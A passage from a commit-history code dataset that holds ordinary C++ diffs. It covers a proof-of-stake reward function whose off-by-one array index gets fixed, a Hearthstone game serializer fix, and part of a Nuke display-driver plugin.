{\n if (graph.GetOutDegree(i) > 0)\n {\n ++new_node_count;\n new_edge_count += (graph.EndEdges(i) - graph.BeginEdges(i));\n }\n }\n util::SimpleLogger().Write() << \"Node compression ratio: \"\n << new_node_count \/ (double)original_number_of_nodes;\n util::SimpleLogger().Write() << \"Edge compression ratio: \"\n << new_edge_count \/ (double)original_number_of_edges;\n}\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdint.h>\n\n#include \"types.h\"\n\n#include \"GetProofOfStakeReward.h\"\n\nmoney_t GetProofOfStakeReward(timestamp_t coinAge, blockheight_t height)\n{\n \/\/ The actual formula is shaped as (A + exp(B * nHeight) + C)\n \/\/ Since we can't use float, and that using fixed-point numbers would be both complex and error-prone, we chose to use a step-by-step solution\n \/\/ Each array cell is the reward given starting from a specific bloc height. Each cells will be applied for the next 43,836 blocks (about a month)\n \/\/ Note that these values have to be divided by 10,000 later (ie 9278 is actually 0.9278).\n\n static uint16_t const rewardSteps[] = { 10000, 9754, 9593, 9435, 9278, 9124, 8972, 8823, 8675, 8530, 8386, 8245, 8106, 7969, 7834, 7701, 7569, 7440, 7312, 7187, 7063, 6941, 6821, 6702, 6585, 6470, 6356, 6245, 6134, 6026, 5919, 5813, 5709, 5607, 5505, 5406, 5308, 5211, 5116, 5022, 4929, 4838, 4748, 4659, 4572, 4486, 4401, 4318, 4235, 4154, 4074, 3995, 3917, 3841, 3765, 3691, 3617, 3545, 3474, 3404, 3334, 3266, 3199, 3133, 3067, 3003, 2940, 2877, 2816, 2755, 2695, 2636, 2578, 2521, 2464, 2409, 2354, 2300, 2247, 2194, 2142, 2091, 2041, 1992, 1943, 1895, 1847, 1801, 1755, 1709, 1664, 1620, 1577, 1534, 1492, 1450, 1409, 1369, 1329, 1290, 1251, 1213, 1176, 1139, 1102, 1066, 1031, 996, 961, 928, 894, 861, 829, 797, 765, 734, 703, 673, 643, 600 };\n\n uint32_t stepIndex = height \/ 43836;\n uint32_t stepCount = sizeof( rewardSteps ) \/ sizeof( rewardSteps[ 0 ] );\n\n if ( stepIndex >= stepCount )\n stepIndex = stepCount;\n\n money_t rewardCoinYear = COIN * rewardSteps[ stepIndex ] \/ 10000;\n\n \/\/ So basically, we're getting the number of coin per year (above), divided by the number of days in a year, multiplied by the coin age (in days) of the stake (prorata).\n \/\/ If the end of the formula looks weird to you, it's because there isn't exactly 365 days in a year - that would be forgetting the leap years ... So there's actually 365.2421 days.\n \/\/ \"( 365 * 33 + 8 ) \/ 33\" is approximatively 0.2424. \"* 33 \/ ( 365 * 33 + 8 )\" is a way to take this in account without risking losing precision (ie. without using floats).\n\n return coinAge * rewardCoinYear * 33 \/ ( 365 * 33 + 8 );\n}\n<commit_msg>Fixes buffer overflow<commit_after>#include <stdint.h>\n\n#include \"types.h\"\n\n#include \"GetProofOfStakeReward.h\"\n\nmoney_t GetProofOfStakeReward(timestamp_t coinAge, blockheight_t height)\n{\n \/\/ The actual formula is shaped as (A + exp(B * nHeight) + C)\n \/\/ Since we can't use float, and that using fixed-point numbers would be both complex and error-prone, we chose to use a step-by-step solution\n \/\/ Each array cell is the reward given starting from a specific bloc height. Each cells will be applied for the next 43,836 blocks (about a month)\n \/\/ Note that these values have to be divided by 10,000 later (ie 9278 is actually 0.9278).\n\n static uint16_t const rewardSteps[] = { 10000, 9754, 9593, 9435, 9278, 9124, 8972, 8823, 8675, 8530, 8386, 8245, 8106, 7969, 7834, 7701, 7569, 7440, 7312, 7187, 7063, 6941, 6821, 6702, 6585, 6470, 6356, 6245, 6134, 6026, 5919, 5813, 5709, 5607, 5505, 5406, 5308, 5211, 5116, 5022, 4929, 4838, 4748, 4659, 4572, 4486, 4401, 4318, 4235, 4154, 4074, 3995, 3917, 3841, 3765, 3691, 3617, 3545, 3474, 3404, 3334, 3266, 3199, 3133, 3067, 3003, 2940, 2877, 2816, 2755, 2695, 2636, 2578, 2521, 2464, 2409, 2354, 2300, 2247, 2194, 2142, 2091, 2041, 1992, 1943, 1895, 1847, 1801, 1755, 1709, 1664, 1620, 1577, 1534, 1492, 1450, 1409, 1369, 1329, 1290, 1251, 1213, 1176, 1139, 1102, 1066, 1031, 996, 961, 928, 894, 861, 829, 797, 765, 734, 703, 673, 643, 600 };\n\n uint32_t stepIndex = height \/ 43836;\n uint32_t stepCount = sizeof( rewardSteps ) \/ sizeof( rewardSteps[ 0 ] );\n\n if ( stepIndex >= stepCount )\n stepIndex = stepCount - 1;\n\n money_t rewardCoinYear = COIN * rewardSteps[ stepIndex ] \/ 10000;\n\n \/\/ So basically, we're getting the number of coin per year (above), divided by the number of days in a year, multiplied by the coin age (in days) of the stake (prorata).\n \/\/ If the end of the formula looks weird to you, it's because there isn't exactly 365 days in a year - that would be forgetting the leap years ... So there's actually 365.2421 days.\n \/\/ \"( 365 * 33 + 8 ) \/ 33\" is approximatively 0.2424. \"* 33 \/ ( 365 * 33 + 8 )\" is a way to take this in account without risking losing precision (ie. without using floats).\n\n return coinAge * rewardCoinYear * 33 \/ ( 365 * 33 + 8 );\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>No cloud collisions<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n> File Name: TaskSerializer.cpp\n> Project Name: Hearthstonepp\n> Author: Young-Joong Kim\n> Purpose: Serializer for TaskMeta and MetaData\n> Created Time: 2018\/05\/20\n> Copyright (c) 2018, Young-Joong Kim\n*************************************************************************\/\n#include <Cards\/Character.h>\n#include <Cards\/Weapon.h>\n#include <Tasks\/MetaData.h>\n#include <Tasks\/TaskSerializer.h>\n\n#include <algorithm>\n\nnamespace Hearthstonepp::Serializer\n{\nflatbuffers::Offset<FlatData::Entity> CreateEntity(\n flatbuffers::FlatBufferBuilder& builder, const Entity* entity)\n{\n\tif (entity == nullptr)\n\t{\n\t\treturn FlatData::CreateEntity(builder);\n\t}\n\n return FlatData::CreateEntity(builder, CreateCard(builder, entity->card),\n 0);\n}\n\nflatbuffers::Offset<FlatData::Card> CreateCard(\n flatbuffers::FlatBufferBuilder& builder, const Card* card)\n{\n std::vector<int> mechanics;\n mechanics.reserve(card->mechanics.size());\n for (const auto& mechanic : card->mechanics)\n {\n mechanics.emplace_back(static_cast<int>(mechanic));\n }\n\n size_t attack = card->attack ? *card->attack : 0;\n size_t health = card->health ? *card->health : 0;\n size_t durability = card->durability ? *card->durability : 0;\n\n return FlatData::CreateCard(\n builder, builder.CreateString(card->id), static_cast<int>(card->rarity),\n static_cast<int>(card->faction), static_cast<int>(card->cardSet),\n static_cast<int>(card->cardClass), static_cast<int>(card->cardType),\n static_cast<int>(card->race), builder.CreateString(card->name),\n builder.CreateString(card->text), card->isCollectible,\n static_cast<int>(card->cost), static_cast<uint32_t>(attack),\n static_cast<uint32_t>(health), static_cast<uint32_t>(durability),\n builder.CreateVector(mechanics), 0, 0, card->GetMaxAllowedInDeck());\n}\n\nTaskMeta CreateEntityVector(const TaskMetaTrait& trait,\n const std::vector<Entity*>& vector)\n{\n flatbuffers::FlatBufferBuilder builder(1024);\n std::vector<flatbuffers::Offset<FlatData::Entity>> flatten;\n\n for (const auto entity : vector)\n {\n flatten.emplace_back(CreateEntity(builder, entity));\n }\n\n auto entities =\n FlatData::CreateEntityVector(builder, builder.CreateVector(flatten));\n builder.Finish(entities);\n\n return TaskMeta(trait, builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateTaskMetaVector(const std::vector<TaskMeta>& vector,\n MetaData status, BYTE userID)\n{\n flatbuffers::FlatBufferBuilder builder(1024);\n std::vector<flatbuffers::Offset<FlatData::TaskMeta>> flatten;\n\n \/\/ Convert TaskMeta to FlatData::TaskMeta\n for (const auto& task : vector)\n {\n auto trait = FlatData::TaskMetaTrait(static_cast<int>(task.id),\n static_cast<status_t>(task.status),\n task.userID);\n const auto& unique = task.GetConstBuffer();\n auto buffer = builder.CreateVector(unique.get(), task.GetBufferSize());\n\n auto temporal = FlatData::CreateTaskMeta(builder, &trait, buffer);\n flatten.emplace_back(std::move(temporal));\n }\n\n \/\/ Convert std::vector to FlatData::TaskMetaVector\n auto integrated =\n FlatData::CreateTaskMetaVector(builder, builder.CreateVector(flatten));\n builder.Finish(integrated);\n\n return TaskMeta(TaskMetaTrait(TaskID::TASK_VECTOR, status, userID),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateRequire(TaskID request, BYTE userID)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat =\n FlatData::CreateRequireTaskMeta(builder, static_cast<int>(request));\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::REQUIRE, MetaData::INVALID, userID),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponseMulligan(const BYTE* index, size_t size)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto vector = builder.CreateVector(index, size);\n auto flat = FlatData::CreateResponseMulligan(builder, vector);\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::MULLIGAN), builder.GetSize(),\n builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponsePlayCard(size_t cardIndex)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat =\n FlatData::CreateResponsePlayCard(builder, static_cast<BYTE>(cardIndex));\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::SELECT_CARD, MetaData::SELECT_CARD),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponsePlayMinion(size_t position)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat = FlatData::CreateResponsePlayMinion(builder,\n static_cast<BYTE>(position));\n\n builder.Finish(flat);\n return TaskMeta(\n TaskMetaTrait(TaskID::SELECT_POSITION, MetaData::SELECT_POSITION),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponseTarget(size_t src, size_t dst)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat = FlatData::CreateResponseTarget(builder, static_cast<BYTE>(src),\n static_cast<BYTE>(dst));\n\n builder.Finish(flat);\n return TaskMeta(\n TaskMetaTrait(TaskID::SELECT_TARGET, MetaData::SELECT_TARGET),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreatePlayerSetting(const std::string& player1,\n const std::string& player2)\n{\n flatbuffers::FlatBufferBuilder builder(256);\n\n auto setting = FlatData::CreatePlayerSetting(\n builder, builder.CreateString(player1), builder.CreateString(player2));\n\n builder.Finish(setting);\n return TaskMeta(TaskMetaTrait(TaskID::PLAYER_SETTING), builder.GetSize(),\n builder.GetBufferPointer());\n}\n\nTaskMeta CreateGameStatus(TaskID taskID, MetaData status, const Player& player1,\n const Player& player2)\n{\n using EntityOffset = flatbuffers::Offset<FlatData::Entity>;\n using VectorOffset = flatbuffers::Offset<flatbuffers::Vector<EntityOffset>>;\n\n flatbuffers::FlatBufferBuilder builder(256);\n\n \/\/ Tie multi card vector\n auto target = {player1.field, player2.field, player1.attacked,\n player2.attacked};\n std::vector<VectorOffset> result(target.size());\n\n \/\/ Convert Card vector to FlatData::Card vector\n std::transform(target.begin(), target.end(), result.begin(),\n [&builder](auto&& vec) -> VectorOffset {\n std::vector<EntityOffset> dest(vec.size());\n std::transform(vec.begin(), vec.end(), dest.begin(),\n [&builder](Entity* entity) {\n return CreateEntity(builder, entity);\n });\n\n return builder.CreateVector(dest);\n });\n\n auto gameStatus = FlatData::CreateGameStatus(\n builder, player1.id, player2.id, player1.existMana, player2.existMana,\n CreateEntity(builder, player1.hero),\n CreateEntity(builder, player2.hero), result[0], result[1], result[2],\n static_cast<BYTE>(player2.hand.size()),\n static_cast<BYTE>(player1.cards.size()),\n static_cast<BYTE>(player2.cards.size()), result[3], result[4]);\n\n builder.Finish(gameStatus);\n return TaskMeta(TaskMetaTrait(taskID, status, player1.id),\n builder.GetSize(), builder.GetBufferPointer());\n}\n} \/\/ namespace Hearthstonepp::Serializer\n<commit_msg>[ci skip] Update TaskSerializer - Fix invalid Argument of player1.hand<commit_after>\/*************************************************************************\n> File Name: TaskSerializer.cpp\n> Project Name: Hearthstonepp\n> Author: Young-Joong Kim\n> Purpose: Serializer for TaskMeta and MetaData\n> Created Time: 2018\/05\/20\n> Copyright (c) 2018, Young-Joong Kim\n*************************************************************************\/\n#include <Cards\/Character.h>\n#include <Cards\/Weapon.h>\n#include <Tasks\/MetaData.h>\n#include <Tasks\/TaskSerializer.h>\n\n#include <algorithm>\n\nnamespace Hearthstonepp::Serializer\n{\nflatbuffers::Offset<FlatData::Entity> CreateEntity(\n flatbuffers::FlatBufferBuilder& builder, const Entity* entity)\n{\n if (entity == nullptr)\n {\n return FlatData::CreateEntity(builder);\n }\n\n return FlatData::CreateEntity(builder, CreateCard(builder, entity->card),\n 0);\n}\n\nflatbuffers::Offset<FlatData::Card> CreateCard(\n flatbuffers::FlatBufferBuilder& builder, const Card* card)\n{\n std::vector<int> mechanics;\n mechanics.reserve(card->mechanics.size());\n for (const auto& mechanic : card->mechanics)\n {\n mechanics.emplace_back(static_cast<int>(mechanic));\n }\n\n size_t attack = card->attack ? *card->attack : 0;\n size_t health = card->health ? *card->health : 0;\n size_t durability = card->durability ? *card->durability : 0;\n\n return FlatData::CreateCard(\n builder, builder.CreateString(card->id), static_cast<int>(card->rarity),\n static_cast<int>(card->faction), static_cast<int>(card->cardSet),\n static_cast<int>(card->cardClass), static_cast<int>(card->cardType),\n static_cast<int>(card->race), builder.CreateString(card->name),\n builder.CreateString(card->text), card->isCollectible,\n static_cast<int>(card->cost), static_cast<uint32_t>(attack),\n static_cast<uint32_t>(health), static_cast<uint32_t>(durability),\n builder.CreateVector(mechanics), 0, 0, card->GetMaxAllowedInDeck());\n}\n\nTaskMeta CreateEntityVector(const TaskMetaTrait& trait,\n const std::vector<Entity*>& vector)\n{\n flatbuffers::FlatBufferBuilder builder(1024);\n std::vector<flatbuffers::Offset<FlatData::Entity>> flatten;\n\n for (const auto entity : vector)\n {\n flatten.emplace_back(CreateEntity(builder, entity));\n }\n\n auto entities =\n FlatData::CreateEntityVector(builder, builder.CreateVector(flatten));\n builder.Finish(entities);\n\n return TaskMeta(trait, builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateTaskMetaVector(const std::vector<TaskMeta>& vector,\n MetaData status, BYTE userID)\n{\n flatbuffers::FlatBufferBuilder builder(1024);\n std::vector<flatbuffers::Offset<FlatData::TaskMeta>> flatten;\n\n \/\/ Convert TaskMeta to FlatData::TaskMeta\n for (const auto& task : vector)\n {\n auto trait = FlatData::TaskMetaTrait(static_cast<int>(task.id),\n static_cast<status_t>(task.status),\n task.userID);\n const auto& unique = task.GetConstBuffer();\n auto buffer = builder.CreateVector(unique.get(), task.GetBufferSize());\n\n auto temporal = FlatData::CreateTaskMeta(builder, &trait, buffer);\n flatten.emplace_back(std::move(temporal));\n }\n\n \/\/ Convert std::vector to FlatData::TaskMetaVector\n auto integrated =\n FlatData::CreateTaskMetaVector(builder, builder.CreateVector(flatten));\n builder.Finish(integrated);\n\n return TaskMeta(TaskMetaTrait(TaskID::TASK_VECTOR, status, userID),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateRequire(TaskID request, BYTE userID)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat =\n FlatData::CreateRequireTaskMeta(builder, static_cast<int>(request));\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::REQUIRE, MetaData::INVALID, userID),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponseMulligan(const BYTE* index, size_t size)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto vector = builder.CreateVector(index, size);\n auto flat = FlatData::CreateResponseMulligan(builder, vector);\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::MULLIGAN), builder.GetSize(),\n builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponsePlayCard(size_t cardIndex)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat =\n FlatData::CreateResponsePlayCard(builder, static_cast<BYTE>(cardIndex));\n\n builder.Finish(flat);\n return TaskMeta(TaskMetaTrait(TaskID::SELECT_CARD, MetaData::SELECT_CARD),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponsePlayMinion(size_t position)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat = FlatData::CreateResponsePlayMinion(builder,\n static_cast<BYTE>(position));\n\n builder.Finish(flat);\n return TaskMeta(\n TaskMetaTrait(TaskID::SELECT_POSITION, MetaData::SELECT_POSITION),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreateResponseTarget(size_t src, size_t dst)\n{\n flatbuffers::FlatBufferBuilder builder(32);\n auto flat = FlatData::CreateResponseTarget(builder, static_cast<BYTE>(src),\n static_cast<BYTE>(dst));\n\n builder.Finish(flat);\n return TaskMeta(\n TaskMetaTrait(TaskID::SELECT_TARGET, MetaData::SELECT_TARGET),\n builder.GetSize(), builder.GetBufferPointer());\n}\n\nTaskMeta CreatePlayerSetting(const std::string& player1,\n const std::string& player2)\n{\n flatbuffers::FlatBufferBuilder builder(256);\n\n auto setting = FlatData::CreatePlayerSetting(\n builder, builder.CreateString(player1), builder.CreateString(player2));\n\n builder.Finish(setting);\n return TaskMeta(TaskMetaTrait(TaskID::PLAYER_SETTING), builder.GetSize(),\n builder.GetBufferPointer());\n}\n\nTaskMeta CreateGameStatus(TaskID taskID, MetaData status, const Player& player1,\n const Player& player2)\n{\n using EntityOffset = flatbuffers::Offset<FlatData::Entity>;\n using VectorOffset = flatbuffers::Offset<flatbuffers::Vector<EntityOffset>>;\n\n flatbuffers::FlatBufferBuilder builder(256);\n\n auto makeOffset = [&builder](auto&& vec) -> VectorOffset {\n std::vector<EntityOffset> dest(vec.size());\n std::transform(vec.begin(), vec.end(), dest.begin(),\n [&builder](Entity* entity) {\n return CreateEntity(builder, entity);\n });\n return builder.CreateVector(dest);\n };\n\n \/\/ Tie multi card vector\n auto target = {player1.field, player2.field, player1.attacked,\n player2.attacked};\n std::vector<VectorOffset> result(target.size());\n\n \/\/ Convert Card vector to FlatData::Card vector\n std::transform(target.begin(), target.end(), result.begin(), makeOffset);\n\n auto gameStatus = FlatData::CreateGameStatus(\n builder, player1.id, player2.id, player1.existMana, player2.existMana,\n CreateEntity(builder, player1.hero),\n CreateEntity(builder, player2.hero), result[0],\n makeOffset(player1.hand), result[1],\n static_cast<BYTE>(player2.hand.size()),\n static_cast<BYTE>(player1.cards.size()),\n static_cast<BYTE>(player2.cards.size()), result[2], result[3]);\n\n builder.Finish(gameStatus);\n return TaskMeta(TaskMetaTrait(taskID, status, player1.id),\n builder.GetSize(), builder.GetBufferPointer());\n}\n} \/\/ namespace Hearthstonepp::Serializer\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2012, J3P LLC. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"DDImage\/Knobs.h\"\n#include \"DDImage\/Row.h\"\n\n#include \"boost\/signal.hpp\"\n#include \"boost\/bind.hpp\"\n#include \"boost\/lexical_cast.hpp\"\n\n#include \"IECore\/LRUCache.h\"\n#include \"IECore\/ImageDisplayDriver.h\"\n\n#include \"IECoreNuke\/DisplayIop.h\"\n#include \"IECoreNuke\/TypeIds.h\"\n\nusing namespace IECore;\nusing namespace IECoreNuke;\nusing namespace DD::Image;\nusing namespace Imath;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DisplayDriverServer cache. Many nodes may all want to use a server on\n\/\/ the same port. We therefore use an LRUCache to manage the lifetime of\n\/\/ the servers and provide them to the nodes.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntypedef LRUCache<int, DisplayDriverServerPtr> ServerCache;\n\n\/\/ key is the port number for the server.\nstatic DisplayDriverServerPtr serverCacheGetter( int key, size_t cost )\n{\n\tcost = 1;\n\treturn new DisplayDriverServer( key );\n}\n\n\/\/ max cost of 4 means we will never have more than 4 unused servers at any one time.\nstatic ServerCache g_servers( serverCacheGetter, 4 );\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ NukeDisplayDriver implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace IECoreNuke\n{\n\nclass NukeDisplayDriver : public IECore::ImageDisplayDriver\n{\n\n\tpublic :\n\t\n\t\tIE_CORE_DECLARERUNTIMETYPEDEXTENSION( NukeDisplayDriver, NukeDisplayDriverTypeId, ImageDisplayDriver );\n\t\t\n\t\tNukeDisplayDriver( const Imath::Box2i &displayWindow, const Imath::Box2i &dataWindow, const std::vector<std::string> &channelNames, ConstCompoundDataPtr parameters )\n\t\t\t:\tImageDisplayDriver( displayWindow, dataWindow, channelNames, parameters )\n\t\t{\n\t\t\tif( parameters )\n\t\t\t{\n\t\t\t\tm_parameters = parameters->copy();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_parameters = new CompoundData;\n\t\t\t}\n\t\t\t\n\t\t\tinstanceCreatedSignal( this );\n\t\t}\n\t\t\n\t\tvirtual ~NukeDisplayDriver()\n\t\t{\n\t\t}\n\n\t\t\/\/\/ Returns a copy of the parameters used in creating this instance. This\n\t\t\/\/\/ is useful in recognising relevant instances in the instanceCreatedSignal.\n\t\tConstCompoundDataPtr parameters() const\n\t\t{\n\t\t\treturn m_parameters;\n\t\t}\n\n\t\t\/\/\/ Updates the current image, and then emits the dataReceivedSignal.\n\t\tvirtual void imageData( const Imath::Box2i &box, const float *data, size_t dataSize )\n\t\t{\n\t\t\tImageDisplayDriver::imageData( box, data, dataSize );\t\t\t\n\t\t\tdataReceivedSignal( this, box );\n\t\t}\n\t\t\n\t\t\/\/\/ This signal is emitted when a new NukeDisplayDriver has been created.\n\t\t\/\/\/ This allows nuke nodes to pick up the new DisplayDrivers even when they're\n\t\t\/\/\/ created in some other code, such as a DisplayDriverServer.\n\t\ttypedef boost::signal<void( NukeDisplayDriver * )> InstanceCreatedSignal;\n\t\tstatic InstanceCreatedSignal instanceCreatedSignal;\n\t\t\n\t\t\/\/\/ This signal is emitted when this NukeDisplayDriver instance receives new data.\n\t\ttypedef boost::signal<void( NukeDisplayDriver *, const Imath::Box2i &box )> DataReceivedSignal;\n\t\tDataReceivedSignal dataReceivedSignal;\n\t\t\n\tprivate :\n\t\n\t\tstatic const DisplayDriverDescription<NukeDisplayDriver> g_description;\n\n\t\tConstCompoundDataPtr m_parameters;\n\n};\n\nNukeDisplayDriver::InstanceCreatedSignal NukeDisplayDriver::instanceCreatedSignal;\nconst DisplayDriver::DisplayDriverDescription<NukeDisplayDriver> NukeDisplayDriver::g_description;\n\n} \/\/ namespace IECoreNuke\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DisplayIop implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst DD::Image::Iop::Description DisplayIop::g_description( \"ieDisplay\", DisplayIop::build );\n\nDisplayIop::DisplayIop( Node *node )\n\t:\tIop( node ), m_portNumber( 1559 ), m_updateCount( 0 ), m_server( g_servers.get( m_portNumber ) ), m_driver( 0 )\n{\n\tinputs( 0 );\n\tslowness( 0 ); \/\/ disable caching as we're buffering everything internally ourselves\n\tNukeDisplayDriver::instanceCreatedSignal.connect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );\n}\n\nDisplayIop::~DisplayIop()\n{\n\tNukeDisplayDriver::instanceCreatedSignal.disconnect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );\n\tconnectToDriver( 0 );\n}\n\nconst char *DisplayIop::Class() const\n{\n\treturn \"ieDisplay\";\n}\n\nconst char *DisplayIop::node_help() const\n{\n\treturn \"Acts as a framebuffer for external renderers.\";\n}\n\nvoid DisplayIop::knobs( DD::Image::Knob_Callback f )\n{\n\tIop::knobs( f );\n\t\n\tInt_knob( f, &m_portNumber, \"portNumber\", \"Port Number\" );\n\tSetFlags( f, Knob::KNOB_CHANGED_ALWAYS | Knob::NO_ANIMATION );\n\tTooltip(\n\t\tf,\n\t\t\"The port on which to receive images. This must match \"\n\t\t\"the port being used by the renderer to send images.\"\n\t);\n\t\n}\n\nint DisplayIop::knob_changed( DD::Image::Knob *knob )\n{\t\n\tif( knob->is( \"portNumber\" ) )\n\t{\n\t \tint portNumber = this->knob( \"portNumber\" )->get_value();\n\t\tm_server = g_servers.get( portNumber );\n\t\treturn 1;\n\t}\n\t\n\treturn Iop::knob_changed( knob );\n}\n\nvoid DisplayIop::append( DD::Image::Hash &hash )\n{\n\tIop::append( hash );\n\t\n\thash.append( __DATE__ ); \n\thash.append( __TIME__ );\n\thash.append( firstDisplayIop()->m_updateCount );\n}\n\nvoid DisplayIop::_validate( bool forReal )\n{\n\tBox2i displayWindow( V2i( 0, 0 ), V2i( 255, 255 ) );\n\t\n\tif( firstDisplayIop()->m_driver )\n\t{\n\t\tdisplayWindow = firstDisplayIop()->m_driver->image()->getDisplayWindow();\n\t}\n\n\tm_format = m_fullSizeFormat = Format( displayWindow.size().x + 1, displayWindow.size().y + 1 );\n\t\/\/ these set function don't copy the format, but instead reference its address.\n\t\/\/ we therefore have to store the format as member data.\n\tinfo_.format( m_format );\n\tinfo_.full_size_format( m_fullSizeFormat );\n\tinfo_.set( m_format );\n\t\n\tinfo_.channels( Mask_RGBA );\n}\n\nvoid DisplayIop::engine( int y, int x, int r, const DD::Image::ChannelSet &channels, DD::Image::Row &row )\n{\n\tChannel outputChannels[4] = { Chan_Red, Chan_Green, Chan_Blue, Chan_Alpha };\n\tconst char *inputChannels[] = { \"R\", \"G\", \"B\", \"A\", 0 };\n\t\n\tconst ImagePrimitive *image = 0;\n\tBox2i inputDataWindow;\n\tBox2i inputDisplayWindow;\n\tif( firstDisplayIop()->m_driver )\n\t{\n\t\timage = firstDisplayIop()->m_driver->image().get();\n\t\tinputDataWindow = 